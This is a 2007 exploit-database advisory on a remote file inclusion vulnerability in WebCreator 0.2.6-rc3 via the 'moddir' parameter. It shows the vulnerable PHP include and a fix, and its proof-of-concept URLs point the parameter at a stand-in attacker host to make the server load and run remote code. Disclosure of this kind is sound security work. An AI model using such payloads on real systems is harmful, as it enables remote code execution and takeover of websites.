WebCreator 0.2.6-rc3 - 'moddir' Remote File Inclusion

EDB-ID:

3473


Author:

the_day

Type:

webapps


Platform:

PHP

Date:

2007-03-13


____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_74$2007

-------------------------------------------------------------------------------------
[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: March, 13th 2007
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv74-theday-2007.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: WebCreator
version		: <= 0.2.6-rc3
URL		: http://webcreator.innoxia.cz/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

- Invalid include_once function at mods/content/load.inc.php
-----------------------mods/content/load.inc.php------------

<?
 include_once($moddir . '/functions.lib.php');
?>

----------------------------------------------------------

Input passed to the "$moddir" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

config/load.inc.php
http/load.inc.php

and More ....



Proof Of Concept:
~~~~~~~~~~~~~

http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt?
http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?


Solution:
~~~~~

- Sanitize variable $moddir affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-13]